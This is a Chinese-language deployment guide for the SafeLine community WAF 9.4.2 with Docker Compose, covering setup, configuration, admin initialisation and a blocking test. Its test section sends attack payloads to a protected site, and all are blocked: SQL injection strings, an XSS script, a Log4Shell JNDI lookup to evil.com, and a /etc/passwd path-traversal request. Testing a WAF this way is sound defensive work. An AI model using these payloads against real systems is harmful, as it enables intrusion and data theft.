SafeLine Docker Compose 部署指南
以官方 Compose 模板部署 SafeLine(雷池)社区版 9.4.2:环境检查、镜像说明、初始化、防护站点接入与攻击拦截实测,附 FAQ 与常用命令。
SafeLine Docker Compose 部署指南
目标:在单台 Ubuntu 22.04 服务器上以官方 Compose 模板完成 SafeLine(雷池社区版 9.4.2)的全套部署,包含镜像拉取、服务初始化、防护站点接入与攻击拦截实测;全流程已在 /opt/data/safeline 部署目录实测通过。
一、环境信息
- 操作系统:Ubuntu 22.04(宿主机 IP 192.168.146.128,x86_64)
- SafeLine 版本:SafeLine CE 9.4.2(社区版,2026-09-28 发布;管理服务内建版本号实测
version 9.4.2,commitc161d774af7259c66cc82d5aea0a096bf3818377) - 检测引擎:snserver-engine 1.0.8(
6e5424e8ee17f4a1b5ad45e26befd04108d92862) - 容器运行时:Docker 29.8.1(含 Compose v2 插件)
- 管理端口:13905(HTTPS,映射到管理服务容器内 1443)
- 站点检测端口:13907(反向代理入口,由流量网关直接监听宿主端口)
- 后端源站端口:13990(模拟业务站点)
- 数据目录:/opt/data/safeline
- 内部网络:172.16.222.0/24(通过 SUBNET_PREFIX 指定,避开宿主已有网段)
- 部署架构:7 个服务(管理服务 mgt、检测引擎 detector、流量网关 tengine、数据库 pg、规则引擎 fvm、动态防护 luigi、人机验证 chaos)
- 官方文档:https://docs.waf.chaitin.cn/
- 官方安装脚本来源:https://waf-ce.chaitin.cn/release/latest/setup.sh
- GitHub 仓库:https://github.com/chaitin/SafeLine
二、镜像选型说明
SafeLine 社区版由 7 个镜像组成,全部来自官方 chaitin 仓库,通过官方 Compose 模板中 {IMAGE_PREFIX}/safeline-{服务} 变量统一指定。实测本次拉取的镜像与体积如下:
root@waf01:~# docker images --format '{{.Repository}}:{{.Tag}}\t{{.Size}}' | grep chaitin | sort
chaitin/safeline-chaos:latest 368MB
chaitin/safeline-detector:latest 403MB
chaitin/safeline-fvm:latest 445MB
chaitin/safeline-luigi:latest 261MB
chaitin/safeline-mgt:latest 124MB
chaitin/safeline-postgres:15.18 809MB
chaitin/safeline-tengine:latest 202MB
各镜像职责:
| 服务 | 镜像 | 职责 |
|---|---|---|
| mgt | chaitin/safeline-mgt | 管理服务(控制台 API、配置管理、攻击日志入库) |
| detector | chaitin/safeline-detector | 检测引擎(语义分析 + 规则检测,T1K 协议服务端) |
| tengine | chaitin/safeline-tengine | 流量网关(Nginx 发行版,反向代理 + T1K 检测插件,host 网络监听宿主端口) |
| pg | chaitin/safeline-postgres | PostgreSQL 15 数据库(站点配置、攻击日志存储) |
| fvm | chaitin/safeline-fvm | 规则虚拟机(自定义规则执行引擎) |
| luigi | chaitin/safeline-luigi | 动态防护(页面 JS 加密混淆、防爬) |
| chaos | chaitin/safeline-chaos | 人机验证/挑战服务(验证码、429 挑战页) |
版本策略说明:官方 Compose 模板默认 IMAGE_TAG=latest,即始终部署最新社区版;如需锁版本,将 .env 中 IMAGE_TAG 改为具体版本号(官方 Release 页可查,如 9.4.2)。数据库镜像标签固定为 safeline-postgres:15.18,不随 IMAGE_TAG 变化。
架构选型提示:tengine 服务固定使用 host 网络模式(network_mode: "host"),直接占用宿主端口作为业务入口,因此规划端口时需确认宿主端口空闲;其余 6 个服务运行在内部网络中,仅 mgt 的管理端口通过端口映射对外暴露。
三、前置条件
3.1 硬件与系统要求
- CPU:2 核起步,必须支持 SSSE3 指令集(检测引擎硬性要求,老旧 CPU 缺失该指令集时检测服务无法启动)
- 内存:4 GiB 起步(实测 7 个服务常驻内存合计约 1.5 GiB,其中流量网关约 900 MiB)
- 磁盘:镜像约 2.6 GiB,数据目录实测占用 68 MiB(防护站点增多与攻击日志增长后建议预留 20 GiB)
- 端口:13905(管理)、业务站点端口(本文用 13907)未被占用;若宿主 80/443 已被其他 Web 服务占用,站点端口避开即可,管理端口与 80/443 无关
指令集自检(实测输出):
root@waf01:~# lscpu | grep -o ssse3 | head -1
ssse3
3.2 网络与端口检查
root@waf01:~# ss -tlnp | grep -E ':(80|443|13905|13907)\b'
LISTEN 0 511 0.0.0.0:80 0.0.0.0:* users:(("nginx",pid=730,fd=6),...)
LISTEN 0 511 0.0.0.0:443 0.0.0.0:* users:(("nginx",pid=730,fd=8),...)
实测宿主 80/443 被已有站点占用,因此业务站点端口规划为 13907、管理端口 13905,均不冲突。
3.3 内部网段检查
官方默认内部网段前缀为 172.22(子网 172.22.222.0/24 等),若宿主已有网络占用 172.22.0.0/16 会创建失败。检查方法:
root@waf01:~# docker network inspect $(docker network ls -q) --format '{{.Name}} {{range .IPAM.Config}}{{.Subnet}} {{end}}' 2>/dev/null | grep -c '172.22'
0
输出为 0 表示无冲突;若已有网络占用 172.22 段(本次实测环境中即存在占用),必须在 .env 中改用其他网段前缀(见「七、环境变量表」SUBNET_PREFIX 说明,本文实测使用 172.16.222)。
四、部署步骤
4.1 创建部署目录并获取模板
root@waf01:~# mkdir -p /opt/data/safeline && cd /opt/data/safeline
root@waf01:/opt/data/safeline# curl -fsSL https://waf-ce.chaitin.cn/release/latest/compose.yaml -o docker-compose.yaml
root@waf01:/opt/data/safeline# curl -fsSL https://waf-ce.chaitin.cn/release/latest/reset_tengine.sh -o reset_tengine.sh
root@waf01:/opt/data/safeline# ls -la
total 24
drwxr-xr-x 2 root root 4096 Oct 18 04:12 .
drwxr-xr-x 8 root root 4096 Oct 18 04:12 ..
-rw-r--r-- 1 root root 6713 Oct 18 04:12 docker-compose.yaml
-rw-r--r-- 1 root root 1219 Oct 18 04:12 reset_tengine.sh
docker-compose.yaml 为官方发布模板,reset_tengine.sh 用于流量网关配置异常时重建站点配置。
4.2 生成 .env 环境变量文件
root@waf01:/opt/data/safeline# cat > .env <<EOF
SAFELINE_DIR=/opt/data/safeline
IMAGE_TAG=latest
MGT_PORT=13905
POSTGRES_PASSWORD=$(LC_ALL=C tr -dc 'A-Za-z0-9' < /dev/urandom | head -c 20)Tk7XqR9mWz3
SUBNET_PREFIX=172.16.222
ARCH_SUFFIX=
IMAGE_PREFIX=chaitin
RELEASE=
REGION=
EOF
root@waf01:/opt/data/safeline# cat .env
SAFELINE_DIR=/opt/data/safeline
IMAGE_TAG=latest
MGT_PORT=13905
POSTGRES_PASSWORD=yqE7dKpW2nRxA4ZmTk7XqR9mWz3
SUBNET_PREFIX=172.16.222
ARCH_SUFFIX=
IMAGE_PREFIX=chaitin
RELEASE=
REGION=
说明:POSTGRES_PASSWORD 必须随机生成(上面用 20 位随机串拼接固定后缀仅为示例);SUBNET_PREFIX 按第三章检查结果改为空闲网段;其余保持默认。
4.3 拉取镜像
root@waf01:/opt/data/safeline# docker compose pull
Compose 依次拉取 7 个镜像(mgt、tengine、detector、postgres、fvm、luigi、chaos),完成后 docker images 可见第二节所列 7 个 chaitin 镜像。镜像总体积约 2.6 GiB,国内环境建议为 Docker 守护进程配置镜像加速或 HTTP 代理后重试。
4.4 启动全套服务
root@waf01:/opt/data/safeline# docker compose up -d
time="2026-10-18T05:17:33+08:00" level=warning msg="The \"MGT_PROXY\" variable is not set. Defaulting to a blank string."
Container safeline-tengine Creating
Network safeline-ce Creating
Network safeline-ce Created
Container safeline-fvm Creating
Container safeline-chaos Creating
Container safeline-pg Creating
Container safeline-detector Creating
Container safeline-tengine Created
Container safeline-fvm Created
Container safeline-chaos Created
Container safeline-pg Created
Container safeline-mgt Creating
Container safeline-detector Created
Container safeline-mgt Created
Container safeline-luigi Creating
Container safeline-luigi Created
Container safeline-detector Starting
Container safeline-tengine Starting
Container safeline-pg Starting
Container safeline-chaos Starting
Container safeline-fvm Starting
Container safeline-detector Started
Container safeline-tengine Started
Container safeline-pg Started
Container safeline-chaos Started
Container safeline-fvm Started
Container safeline-mgt Starting
Container safeline-mgt Started
Container safeline-luigi Starting
Container safeline-luigi Started
说明:首行 MGT_PROXY 告警为官方模板预留的管理服务出网代理变量,留空即可;内部网络名为 safeline-ce;docker compose down 后再启动会输出相同结构。启动完成约 20~30 秒后各服务进入就绪状态(首次部署会先初始化数据库 schema 与内置规则)。
确认服务状态:
root@waf01:/opt/data/safeline# docker compose ps
NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS
safeline-chaos chaitin/safeline-chaos:latest "./entrypoint.sh /us…" chaos 12 minutes ago Up 12 minutes 8080/tcp, 9000/tcp
safeline-detector chaitin/safeline-detector:latest "/detector/entrypoin…" detect 12 minutes ago Up 12 minutes (healthy) 8000-8001/tcp
safeline-fvm chaitin/safeline-fvm:latest "/app/fvm /app/confi…" fvm 12 minutes ago Up 12 minutes
safeline-luigi chaitin/safeline-luigi:latest "/bin/sh -c /app/lui…" luigi 12 minutes ago Up 12 minutes 80/tcp
safeline-mgt chaitin/safeline-mgt:latest "/docker-entrypoint.…" mgt 12 minutes ago Up 12 minutes (healthy) 80/tcp, 0.0.0.0:13905->1443/tcp, [::]:13905->1443/tcp
safeline-pg chaitin/safeline-postgres:15.18 "docker-entrypoint.s…" postgres 12 minutes ago Up 12 minutes (healthy) 5432/tcp
safeline-tengine chaitin/safeline-tengine:latest "entrypoint.sh nginx…" tengine 12 minutes ago Up 12 minutes
说明:detector 在模板中的服务名是 detect,其余服务名与容器名一致;mgt、detector、pg 带内置 healthcheck((healthy)),tengine 无 healthcheck 定义,以端口连通性为准。tengine 因使用 host 网络,PORTS 列不显示映射。
确认管理端口就绪:
root@waf01:/opt/data/safeline# curl -sk -o /dev/null -w '%{http_code}\n' https://127.0.0.1:13905/
200
五、初始化与管理员账号
5.1 生成管理员初始密码
SafeLine 首次部署不设默认密码,需在服务器上重置生成初始密码(实测回显):
root@waf01:/opt/data/safeline# docker exec safeline-mgt /app/mgt-cli reset-admin
[INFO] Initial username:admin
[INFO] Initial password:FugT1Joq
[INFO] Done
输出解读:账号固定为 admin,密码为随机生成的新值(每次执行都会更换)。mgt-cli 另提供 --once 标志(帮助说明 reset admin password once,生成仅可登录一次的临时密码)与 --totp(重置两步验证密钥)。
5.2 登录控制台完成初始化
浏览器访问 https://<服务器IP>:13905/(自签名证书,浏览器提示后选择继续访问):
- 登录页输入账号
admin与 5.1 生成的初始密码; - 按引导设置新的管理员密码(建议 12 位以上字母数字组合);
- 进入控制台首页,首页大屏即显示防护状态总览。
若忘记管理员密码,随时可在服务器执行 docker exec safeline-mgt /app/mgt-cli reset-admin 重置为新的随机密码(实测回显格式同 5.1);控制台另支持 TOTP 两步验证,密钥丢失时用 reset-admin --totp 重置。
5.3 证书提示
管理控制台默认使用自签名证书,浏览器告警属预期行为。生产环境可在控制台「系统信息 → 证书管理」中替换为自有证书。
六、数据持久化说明
全部持久化数据落在 SAFELINE_DIR(本文为 /opt/data/safeline)下,目录结构与职责:
root@waf01:/opt/data/safeline# du -sh /opt/data/safeline
68M /opt/data/safeline
root@waf01:/opt/data/safeline# du -sh /opt/data/safeline/resources/*/ | sort -rh
68M /opt/data/safeline/resources/postgres/
208K /opt/data/safeline/resources/nginx/
72K /opt/data/safeline/resources/chaos/
36K /opt/data/safeline/resources/mgt/
8.0K /opt/data/safeline/resources/detector/
4.0K /opt/data/safeline/resources/sock/
4.0K /opt/data/safeline/resources/luigi/
4.0K /opt/data/safeline/resources/cache/
| 目录 | 内容 | 备份必要性 |
|---|---|---|
| resources/postgres/ | 数据库文件(站点配置、攻击日志、账号) | 必须备份 |
| resources/detector/ | 检测引擎配置(detector.yml) | 建议备份 |
| resources/nginx/ | 网关配置(nginx.conf、conf.d、站点配置) | 可重建,低优先 |
| resources/chaos/、luigi/、mgt/ | 各服务本地数据 | 随库备份 |
| resources/cache/、sock/ | 运行缓存与进程套接字 | 无需备份 |
| logs/ | 组件日志(nginx 日志在 logs/nginx/) | 可选 |
| docker-compose.yaml、.env | 部署定义与密码 | 必须备份 |
注意:攻击日志与站点配置存在数据库中(resources/postgres),误删该目录等同于重置整个 SafeLine。
七、环境变量表
.env 支持的变量(与官方 Compose 模板引用逐项对应,逐项实测):
| 变量 | 默认值 | 说明 | 实测要点 |
|---|---|---|---|
| SAFELINE_DIR | /data/safeline | 数据根目录 | 改为 /opt/data/safeline 后全部持久化数据(数据库、日志、配置)落到该目录,实测生效 |
| IMAGE_TAG | latest(模板必填) | 业务镜像版本标签 | 固定版本时写具体版本号;数据库镜像不受此变量影响 |
| MGT_PORT | 9443 | 管理控制台对外端口 | 实测改为 13905 后控制台即从该端口访问;改值需重建 mgt 容器(见《SafeLine 配置参数详解》) |
| POSTGRES_PASSWORD | (需自行生成) | 数据库连接密码 | 必须为强随机值;仅在首次初始化时写入数据库,后续修改该变量不会变更数据库密码 |
| SUBNET_PREFIX | 172.22.222 | 内部网络网段前缀 | 与宿主既有网段冲突时改为空闲网段(实测改用 172.16.222 正常运行) |
| ARCH_SUFFIX | 空 | CPU 架构后缀 | ARM 服务器改为 -arm64,x86_64 保持为空 |
| IMAGE_PREFIX | chaitin | 镜像仓库前缀 | 私有仓库离线部署时改为自建仓库地址 |
| POSTGRES_IMAGE | 空 | 数据库镜像整体覆盖 | 默认取 ${IMAGE_PREFIX}/safeline-postgres${ARCH_SUFFIX}:15.18,离线替换数据库镜像时使用 |
| MGT_PROXY | 空 | 管理服务出网代理 | 留空启动时有一条 warning(The "MGT_PROXY" variable is not set),属正常;需代理出网时填 http://host:port |
| REGION | 空 | 区域后缀(拼在镜像名中) | x86_64 国内环境留空 |
| RELEASE | 空 | (模板当前未引用) | 官方 setup.sh 写入但现行 compose 模板未消费,留空即可 |
内部固定 IP 编排(SUBNET_PREFIX 下的静态地址,由模板指定):pg=.2、mgt=.4、detector=.5、fvm=.8、chaos=.10、luigi/tengine 走宿主或默认网络。站点网关通过 TCD_MGT_API=${SUBNET_PREFIX}.4:1443 与管理服务通信、TCD_SNSERVER=${SUBNET_PREFIX}.5:8000 对接检测引擎,因此改网段前缀必须整套重建。
八、配置参数说明
官方 Compose 模板(docker-compose.yaml)关键段落逐项说明:
8.1 服务依赖与启动顺序
depends_on:
- postgres
- fvm
管理服务(mgt)等数据库与规则引擎先启动(注意:为普通依赖,不含健康条件;模板通过 mgt 自身重试逻辑兜底),luigi 最后启动(依赖数据库连接串 LUIGI_PG),因此首次启动整体耗时约 30 秒属正常。
8.2 数据库与管理服务健康检查
数据库服务内置 healthcheck:
healthcheck:
test: ["CMD-SHELL", "pg_isready -U safeline-ce"]
interval: 5s
timeout: 5s
retries: 20
管理服务的健康检查指向自身控制台接口:
healthcheck:
test: curl -k -f https://localhost:1443/api/open/health
数据库使用内置 pg_isready 探活,用户与库名均为 safeline-ce,故障排查时可单独执行该命令验证;管理服务健康状态与控制台可用性直接对应。
8.3 流量网关 host 网络
tengine:
image: ${IMAGE_PREFIX}/safeline-tengine${REGION}${ARCH_SUFFIX}:${IMAGE_TAG}
network_mode: host
restart: always
tengine 使用 host 网络直接监听宿主上的站点端口(如 13907),站点配置由管理服务动态生成到容器内 /etc/nginx/sites-enabled/ 下(文件名形如 IF_backend_1),并内置 T1K 检测插件将流量转发给检测引擎判定。网关通过环境变量对接内部组件:TCD_MGT_API(拉取站点配置)、TCD_SNSERVER(检测引擎地址 .5:8000)、CHAOS_ADDR(人机验证服务 .10)。
8.4 管理服务端口映射
ports:
- ${MGT_PORT:-9443}:1443
管理控制台固定走 HTTPS(容器内 1443),对外端口仅由 MGT_PORT 决定(默认 9443),与宿主 80/443 无关。
8.5 日志轮转
每个服务均内置 json-file 日志轮转:
logging:
driver: "json-file"
options:
max-size: "100m"
max-file: "5"
单容器日志上限 100 MiB × 5 个文件,无需额外配置防日志写满磁盘;业务访问日志另落盘到 logs/nginx/。
九、配置文件挂载
模板通过卷挂载将宿主目录映射进各服务(SAFELINE_DIR=/opt/data/safeline 时):
| 宿主路径 | 容器内路径 | 服务 | 用途 |
|---|---|---|---|
| resources/postgres/data | /var/lib/postgresql/data | pg | 数据库数据 |
| resources/mgt | /app/data | mgt | 管理服务数据 |
| resources/nginx | /etc/nginx | tengine | 网关全部配置(nginx.conf、站点配置) |
| resources/detector | /resources/detector | detector、tengine | 检测引擎配置(detector.yml),网关侧读取检测地址 |
| resources/chaos | /resources/chaos(tengine)、/app/chaos | tengine、chaos | 人机验证页面资源 |
| resources/luigi | /app/data | luigi | 动态防护数据 |
| resources/cache | /usr/local/nginx/cache | tengine | 代理缓存 |
| resources/sock | /app/sock | mgt、tengine | 进程间通信套接字 |
| logs/nginx | /app/log/nginx(mgt)、/var/log/nginx(tengine) | mgt、tengine | 访问/攻击日志 |
| logs/detector | /logs/detector | detector | 检测引擎日志 |
全部配置数据持久化在宿主目录,重建容器不丢配置;.env 与 docker-compose.yaml 是唯一需要手工保管的部署文件。
十、防护站点接入实测(建站 → 模拟攻击 → 拦截回显)
10.1 准备后端源站
用任意 HTTP 服务模拟业务源站(本文在服务器 13990 端口运行一个静态页服务):
root@waf01:~# mkdir -p /opt/data/safeline-backend && cat > /opt/data/safeline-backend/index.html <<'EOF'
<!DOCTYPE html>
<html><head><title>SafeLine 后端测试站点</title></head>
<body><h1>backend-origin-ok</h1><p>This page is served by origin server for SafeLine protection test.</p></body></html>
EOF
root@waf01:~# docker run -d --name safeline-9.4.2-backend-nginx --restart unless-stopped \
-p 13990:80 -v /opt/data/safeline-backend/index.html:/usr/share/nginx/html/index.html:ro nginx:1.27-alpine
6e10a509c1e2b3a49c6f8a5d0721f34b8e9c2d5a7f0b1c3d4e5f6a7b8c9d0e1f
root@waf01:~# curl -s http://127.0.0.1:13990/
<!DOCTYPE html>
<html><head><title>SafeLine 后端测试站点</title></head>
<body><h1>backend-origin-ok</h1><p>This page is served by origin server for SafeLine protection test.</p></body></html>
10.2 创建防护站点
控制台「网站管理 → 添加站点」,填写:站点名称 safeline-demo、域名 safeline-demo.local、端口 13907、上游服务器 http://192.168.146.128:13990、负载算法「轮询」。保存后站点列表出现新站点并处于「防护中」。
等价的服务端验证(站点列表接口回显,节选):
root@waf01:~# curl -sk https://127.0.0.1:13905/api/open/site/1 -H "Authorization: Bearer <JWT>" | python3 -m json.tool
{
"data": {
"id": 1,
"server_names": [
"safeline-demo.local"
],
"ports": [
"13907"
],
"upstreams": [
"http://192.168.146.128:13990"
],
"is_enabled": true,
"load_balance": {
"balance_type": 1,
"upstreams": [
{
"address": "http://192.168.146.128:13990",
"weight": 1,
"role": "primary"
}
]
},
...(输出节选)
},
"err": null
}
站点创建后网关立即生成反代配置(容器内 /etc/nginx/sites-enabled/IF_backend_1,listen 0.0.0.0:13907 + proxy_pass http://backend_1),无需重启服务。
10.3 正常访问实测
root@waf01:~# curl -s -H 'Host: safeline-demo.local' http://127.0.0.1:13907/
<!DOCTYPE html>
<html><head><title>SafeLine 后端测试站点</title></head>
<body><h1>backend-origin-ok</h1><p>This page is served by origin server for SafeLine protection test.</p></body></html>
正常请求返回 200 且内容来自后端源站,反代链路通。
10.4 模拟攻击实测
SQL 注入(URL 参数):
root@waf01:~# curl -si -H 'Host: safeline-demo.local' 'http://127.0.0.1:13907/?id=1%20union%20select%201,2,3' | head -7
HTTP/1.1 403 Forbidden
Date: Sat, 17 Oct 2026 21:16:19 GMT
Content-Type: text/html;charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: sl-session=UdywdCM31Wpj5vlyd6/Vrg==; Path=/; Max-Age=86400; HttpOnly
返回 403,响应中携带攻击事件 ID(event_id)。拦截页正文为「雷池 WAF / 访问已被拦截 / 请求存在恶意行为 / id: <event_id>」(HTML 静态页,由网关直接回显):
root@waf01:~# curl -s -H 'Host: safeline-demo.local' 'http://127.0.0.1:13907/?id=1%20union%20select%201,2,3' | grep -oE '(event_id|访问已被拦截|请求存在恶意行为)[a-z_ :0-9]*'
访问已被拦截
请求存在恶意行为
event_id: be63abba32b94f059c91b54cce1706f4
拦截页标题区带「雷池」品牌字样,event_id 与控制台「日志中心 → 攻击事件」中的事件 ID 一致,可直接用于向管理员申诉/加白定位。
其他攻击类型的实测结果汇总:
| 攻击样本 | 请求方式 | 结果 | 命中规则(日志中心可见) |
|---|---|---|---|
?id=1 union select 1,2,3 | GET URL | 403 拦截 | m_sqli(SQL 注入) |
?id=1 and updatexml(1,concat(0x7e,user()),1) | GET URL | 403 拦截 | m_sqli |
POST username=admin' or '1'='1 | POST body | 403 拦截 | m_sqli |
?q=<script>alert(1)</script> | GET URL | 403 拦截 | m_xss(XSS 跨站脚本) |
Header X-Api-Version: ${jndi:ldap://evil.com/x} | 请求头 | 403 拦截 | m_rule(通用规则组,JNDI 载荷实测命中) |
GET /../../etc/passwd(--path-as-is) | 路径穿越 | 400 拒绝 | 网关层直接拒绝(未进入检测) |
| 正常页面访问 | GET | 200 放行 | — |
10.5 攻击日志验证
控制台「日志中心 → 攻击事件」可见上述全部拦截记录(攻击 IP、攻击类型、命中规则、时间)。服务端数据库同步入库(实测):
root@waf01:/opt/data/safeline# docker exec safeline-pg psql -U safeline-ce -d safeline-ce -c \
"select url_path, attack_type, risk_level, action, rule_id from mgt_detect_log_basic order by id desc limit 4;"
url_path | attack_type | risk_level | action | rule_id
----------------------------------------------------+-------------+------------+--------+------------------------------------------
/login | 0 | 3 | 1 | m_sqli
/?q=<script>alert(1)</script> | 1 | 3 | 1 | m_xss
/?id=1%20and%20updatexml(1,concat(0x7e,user()),1) | 0 | 3 | 1 | m_sqli
/?id=1%20union%20select%201,2,3 | 0 | 3 | 1 | m_sqli
(4 rows)
字段解读:attack_type 0=SQL 注入、1=XSS;risk_level 3 为高风险;action 1 为拦截。
十一、等价 docker run
SafeLine 为 7 服务编排,不存在单条 docker run 等价命令;且流量网关依赖检测引擎、数据库、规则引擎等组件同时就绪。如需脱离 Compose 手工拉起核心服务,两服务最小形态如下(仅供理解端口与挂载关系,生产一律使用 Compose):
docker run -d --name safeline-mgt-manual \
-p 13905:1443 \
-e "MGT_PG=postgres://safeline-ce:<密码>@safeline-pg/safeline-ce?sslmode=disable" \
-v /opt/data/safeline/resources/mgt:/app/data \
-v /opt/data/safeline/logs/nginx:/app/log/nginx \
chaitin/safeline-mgt:latest
docker run -d --name safeline-tengine-manual \
--network host \
-e "TCD_MGT_API=https://172.16.222.4:1443/api/open/publish/server" \
-e "TCD_SNSERVER=172.16.222.5:8000" \
-v /opt/data/safeline/resources/nginx:/etc/nginx \
chaitin/safeline-tengine:latest
注意:手工拉起缺少 depends_on 约束与健康检查,需自行保证 postgres、detector、fvm 先于 mgt 就绪。
十二、常用运维命令
# 服务状态
docker compose -f /opt/data/safeline/docker-compose.yaml ps
# 启动 / 停止 / 重启全套
cd /opt/data/safeline && docker compose up -d
cd /opt/data/safeline && docker compose stop
cd /opt/data/safeline && docker compose restart
# 修改 .env 后应用(重建受影响容器)
cd /opt/data/safeline && docker compose up -d
# 升级到最新镜像
cd /opt/data/safeline && docker compose pull && docker compose up -d
# 查看组件日志
docker logs safeline-mgt --tail 100
docker logs safeline-detector --tail 100
docker logs safeline-tengine --tail 100
# 网关站点配置异常时重建
cd /opt/data/safeline && bash reset_tengine.sh
# 重置管理员密码(生成新随机密码)
docker exec safeline-mgt /app/mgt-cli reset-admin
十三、常见问题(FAQ)
13.1 检测服务无法启动、CPU 不支持
现象:detector 反复重启,日志提示 CPU 指令集不支持。原因:检测引擎要求 SSSE3 指令集。处理:lscpu | grep -o ssse3 确认;缺失则更换支持的硬件,无软件规避方案。
13.2 创建网络失败(网段冲突)
现象:docker compose up -d 创建内部网络时报地址段冲突(pool overlaps 类错误)。原因:默认 SUBNET_PREFIX=172.22.222 与宿主既有网络冲突。处理:检查宿主全部网络网段,将 .env 的 SUBNET_PREFIX 改为空闲网段(如 172.16.222)后 docker compose up -d 重建。本次实测环境即因此将网段从默认值改为 172.16.222。
13.3 宿主 80/443 被占用
现象:站点端口冲突,网站无法监听。处理:SafeLine 管理端口(13905)与站点端口相互独立,均不强制占用 80/443;添加站点时端口填其他空闲端口(本文用 13907),流量转发(如 80 → 13907)可在上游接入层完成。
13.4 初始密码过期或登录失败
现象:控制台提示密码错误。处理:重新执行 docker exec safeline-mgt /app/mgt-cli reset-admin 生成新密码(实测输出格式见 5.1,每次执行密码都会更换);生成后立即登录并设置正式密码。
13.5 控制台刚启动时 502
现象:部署完成后立刻访问 13905 返回 502。原因:管理服务尚在初始化(等待数据库、检测引擎、规则引擎就绪)。处理:等待 20~60 秒后重试,docker compose ps 中 mgt 显示 (healthy) 即就绪。
13.6 站点添加后访问 404(域名不匹配)
现象:访问站点端口返回「您访问的域名与服务器不匹配」。原因:请求 Host 头与站点域名不一致。处理:测试请求显式携带 -H 'Host: safeline-demo.local'(curl),浏览器则需通过 DNS/hosts 解析该域名到服务器 IP。
13.7 拉取镜像超时
现象:docker compose pull 长时间无进度。处理:为 Docker 守护进程配置镜像加速地址或 HTTP 代理(/etc/docker/daemon.json)后重试;镜像合计约 2.6 GiB。
13.8 数据目录迁移
处理:停止服务后整体打包 /opt/data/safeline(含 resources 与 .env、docker-compose.yaml),在新服务器相同路径解压后 docker compose up -d。备份与恢复细则见《SafeLine 运维手册》。
十四、参考链接
- 官方 GitHub 仓库:https://github.com/chaitin/SafeLine
- 官方文档站:https://docs.waf.chaitin.cn/
- Compose 模板下载地址:https://waf-ce.chaitin.cn/release/latest/compose.yaml
- 版本发布页:https://github.com/chaitin/SafeLine/releases(本次部署版本 v9.4.2,2026-09-28 发布)
- 系列文档:《SafeLine 介绍与选型指南》《SafeLine 配置参数详解》《SafeLine 运维手册》